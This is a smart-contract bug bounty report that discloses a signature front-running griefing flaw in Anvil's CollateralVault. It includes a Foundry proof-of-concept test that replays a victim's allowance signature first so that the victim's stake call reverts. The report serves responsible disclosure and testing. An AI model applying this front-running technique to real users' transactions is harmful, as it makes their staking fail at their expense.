# #36501 \[SC-Medium] Signature Front-Running Vulnerability in CollateralVault

**Submitted on Nov 4th 2024 at 13:24:08 UTC by @Hoverfly9132 for** [**Audit Comp | Anvil**](https://immunefi.com/audit-competition/audit-comp-anvil)

* **Report ID:** #36501
* **Report Type:** Smart Contract
* **Report severity:** Medium
* **Target:** <https://etherscan.io/address/0x5d2725fdE4d7Aa3388DA4519ac0449Cc031d675f>
* **Impacts:**
  * Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

## Description

## Bug Description

The similar issue has found by the previous [OpenZeppelin audit](https://blog.openzeppelin.com/anvil-protocol-audit?utm_source=immunefi#depositandstake-could-fail-due-to-front-running) but they don't specify all the affected actions, and anvil team only fix the \`depositAndStake\` function, the other affected actions aren't reported and fixed in the previous audits, so this issue shouldn't be considered as known issue from my perspective.

The \`modifyCollateralizableTokenAllowanceWithSignature\` function in CollateralVault is vulnerable to signature front-running attacks. When the \`TimeBasedCollateralPool\` contract \`stake\` and \`stakeReleasableTokensFrom\` functions call the \`modifyCollateralizableTokenAllowanceWithSignature\` function to modify the allowance by signature, an attacker can monitor the mempool and front-run the transaction by calling the \`modifyCollateralizableTokenAllowanceWithSignature\` function first, then the original transaction will fail because the nonce is already used.

The vulnerability exists because:

1. The signature verification uses a nonce system that increments upon each use.
2. The \`modifyCollateralizableTokenAllowanceWithSignature\` function can be called by anyone to cause the signature nonce to be incremented.
3. Once a signature is used and the nonce is incremented, the original transaction will fail

## Impact

Any users \`stake\` or \`stakeReleasableTokensFrom\` txs can be front-run by attackers to revert.

## Recommendation

Fix as the \`depositAndStake\` function.

## Proof of Concept

## Proof of Concept

\`\`\`solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.19;

import "forge-std/Test.sol";

abstract contract EIP712 { bytes32 private immutable \_CACHED\_DOMAIN\_SEPARATOR; uint256 private immutable \_CACHED\_CHAIN\_ID;

```
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;

constructor(string memory name, string memory version) {
    bytes32 hashedName &#x3D; keccak256(bytes(name));
    bytes32 hashedVersion &#x3D; keccak256(bytes(version));
    bytes32 typeHash &#x3D; keccak256(&quot;EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)&quot;);

    _HASHED_NAME &#x3D; hashedName;
    _HASHED_VERSION &#x3D; hashedVersion;
    _TYPE_HASH &#x3D; typeHash;

    _CACHED_CHAIN_ID &#x3D; block.chainid;
    _CACHED_DOMAIN_SEPARATOR &#x3D; _buildDomainSeparator(typeHash, hashedName, hashedVersion);
}

function _domainSeparatorV4() internal view returns (bytes32) {
    if (block.chainid &#x3D;&#x3D; _CACHED_CHAIN_ID) {
        return _CACHED_DOMAIN_SEPARATOR;
    } else {
        return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
    }
}

function _buildDomainSeparator(
    bytes32 typeHash,
    bytes32 nameHash,
    bytes32 versionHash
) private view returns (bytes32) {
    return keccak256(
        abi.encode(
            typeHash,
            nameHash,
            versionHash,
            block.chainid,
            address(this)
        )
    );
}

function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
    return keccak256(abi.encodePacked(&quot;\x19\x01&quot;, _domainSeparatorV4(), structHash));
}
```

}

abstract contract SignatureNonces { mapping(address => mapping(bytes32 => uint256)) private \_accountTypeNonces;

```
function nonces(address owner, bytes32 signatureType) public view virtual returns (uint256) {
    return _accountTypeNonces[owner][signatureType];
}

function _useNonce(address owner, bytes32 signatureType) internal virtual returns (uint256) {
    return _accountTypeNonces[owner][signatureType]++;
}
```

}

contract CollateralVault is EIP712, SignatureNonces { bytes32 public constant COLLATERALIZABLE\_TOKEN\_ALLOWANCE\_ADJUSTMENT\_TYPEHASH = keccak256( "CollateralizableTokenAllowanceAdjustment(address collateralizableAddress,address tokenAddress,int256 allowanceAdjustment,uint256 approverNonce)" );

```
mapping(address &#x3D;&gt; mapping(address &#x3D;&gt; mapping(address &#x3D;&gt; uint256))) public accountCollateralizableTokenAllowances;
mapping(address &#x3D;&gt; bool) public collateralizableContracts;

error InvalidSignature(address signer);
error ContractNotApprovedByProtocol(address contractAddress);

constructor() EIP712(&quot;CollateralVault&quot;, &quot;1&quot;) {}

function modifyCollateralizableTokenAllowanceWithSignature(
    address _accountAddress,
    address _collateralizableContractAddress,
    address _tokenAddress,
    int256 _allowanceAdjustment,
    bytes calldata _signature
) external {
    if (_allowanceAdjustment &gt; 0 &amp;&amp; !collateralizableContracts[_collateralizableContractAddress])
        revert ContractNotApprovedByProtocol(_collateralizableContractAddress);

    _modifyCollateralizableTokenAllowanceWithSignature(
        _accountAddress,
        _collateralizableContractAddress,
        _tokenAddress,
        _allowanceAdjustment,
        _signature
    );
}

function _modifyCollateralizableTokenAllowanceWithSignature(
    address _accountAddress,
    address _collateralizableContractAddress,
    address _tokenAddress,
    int256 _allowanceAdjustment,
    bytes calldata _signature
) private {
    console.log(&quot;nonce: &quot;, nonces(_accountAddress, COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH));
    bytes32 hash &#x3D; _hashTypedDataV4(
        keccak256(
            abi.encode(
                COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH,
                _collateralizableContractAddress,
                _tokenAddress,
                _allowanceAdjustment,
                _useNonce(_accountAddress, COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH)
            )
        )
    );

    address signer &#x3D; _recoverSigner(hash, _signature);
    if (signer !&#x3D; _accountAddress) {
        revert InvalidSignature(_accountAddress);
    }

    if (_allowanceAdjustment &gt; 0) {
        accountCollateralizableTokenAllowances[_accountAddress][_collateralizableContractAddress][_tokenAddress] +&#x3D; uint256(_allowanceAdjustment);
    } else {
        accountCollateralizableTokenAllowances[_accountAddress][_collateralizableContractAddress][_tokenAddress] -&#x3D; uint256(-_allowanceAdjustment);
    }
}

function _recoverSigner(bytes32 hash, bytes memory signature) internal pure returns (address) {
    require(signature.length &#x3D;&#x3D; 65, &quot;Invalid signature length&quot;);

    bytes32 r;
    bytes32 s;
    uint8 v;

    assembly {
        r :&#x3D; mload(add(signature, 32))
        s :&#x3D; mload(add(signature, 64))
        v :&#x3D; byte(0, mload(add(signature, 96)))
    }

    return ecrecover(hash, v, r, s);
}

// 辅助函数，用于测试
function setCollateralizableContracts(address _contract, bool _approved) external {
    collateralizableContracts[_contract] &#x3D; _approved;
}

function getHashTypedDataV4(bytes32 structHash) public view returns (bytes32) {
    return _hashTypedDataV4(structHash);
}
```

}

interface ICollateral { function modifyCollateralizableTokenAllowanceWithSignature( address \_accountAddress, address \_collateralizableContractAddress, address \_tokenAddress, int256 \_allowanceAdjustment, bytes calldata \_signature ) external;

```
function accountCollateralizableTokenAllowances(
    address account,
    address collateralizable,
    address token
) external view returns (uint256);

function COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH() 
    external view returns (bytes32);

function nonces(address owner, bytes32 signatureType) 
    external view returns (uint256);

function getHashTypedDataV4(bytes32 structHash) 
    external view returns (bytes32);
```

}

contract TimeBasedCollateralPool { ICollateral public immutable collateral; constructor(address \_collateral) { collateral = ICollateral(\_collateral); }

```
function stake(
    address _token,
    uint256 _amount,
    bytes calldata _collateralizableApprovalSignature
) external returns (uint256) {
    if (_collateralizableApprovalSignature.length &gt; 0) {
        collateral.modifyCollateralizableTokenAllowanceWithSignature(msg.sender, address(this), _token, int256(_amount), _collateralizableApprovalSignature);
    }
    return _stake(_token, _amount);
}

function _stake(address _token, uint256 _amount) internal returns (uint256) {
    return _amount;
}
```

}

contract SignatureReplayTest is Test { CollateralVault public vault; address public victim; uint256 public victimPrivateKey; address public token; TimeBasedCollateralPool public pool;

```
function setUp() public {
    vault &#x3D; new CollateralVault();
    
    // Setup victim account
    victimPrivateKey &#x3D; 0xA11CE;
    victim &#x3D; vm.addr(victimPrivateKey);
    token &#x3D; makeAddr(&quot;token&quot;);
    
    pool &#x3D; new TimeBasedCollateralPool(address(vault));
    vault.setCollateralizableContracts(address(pool), true);

}

function testFrontRunGriefing() public {
    int256 allowanceAdjustment &#x3D; 100;
    
    // Generate signature using L1 vault parameters
    bytes memory signature &#x3D; _generateSignature(
        vault,
        victim,
        address(pool),
        token,
        allowanceAdjustment
    );
    uint256 snapshotId &#x3D; vm.snapshot();
    
    vault.modifyCollateralizableTokenAllowanceWithSignature(victim, address(pool), token, allowanceAdjustment, signature);
    vm.startPrank(victim);
    vm.expectRevert(abi.encodeWithSelector(CollateralVault.InvalidSignature.selector, victim));
    pool.stake(token, uint256(allowanceAdjustment), signature);
    assertEq(
        vault.accountCollateralizableTokenAllowances(victim, address(pool), token),
        uint256(allowanceAdjustment),
        &quot;L1 allowance not set correctly&quot;
    );
    vm.stopPrank();
}

function _generateSignature(
    CollateralVault vault,
    address account,
    address collateralizableContract,
    address tokenAddr,
    int256 adjustment
) internal view returns (bytes memory) {
    bytes32 structHash &#x3D; keccak256(
        abi.encode(
            vault.COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH(),
            collateralizableContract,
            tokenAddr,
            adjustment,
            vault.nonces(account, vault.COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH())
        )
    );

    bytes32 hash &#x3D; vault.getHashTypedDataV4(structHash);
    (uint8 v, bytes32 r, bytes32 s) &#x3D; vm.sign(victimPrivateKey, hash);
    return abi.encodePacked(r, s, v);
}
```

} \`\`\`

Run the test by: \`\`\`bash forge test --match-test testFrontRunGriefing \`\`\`
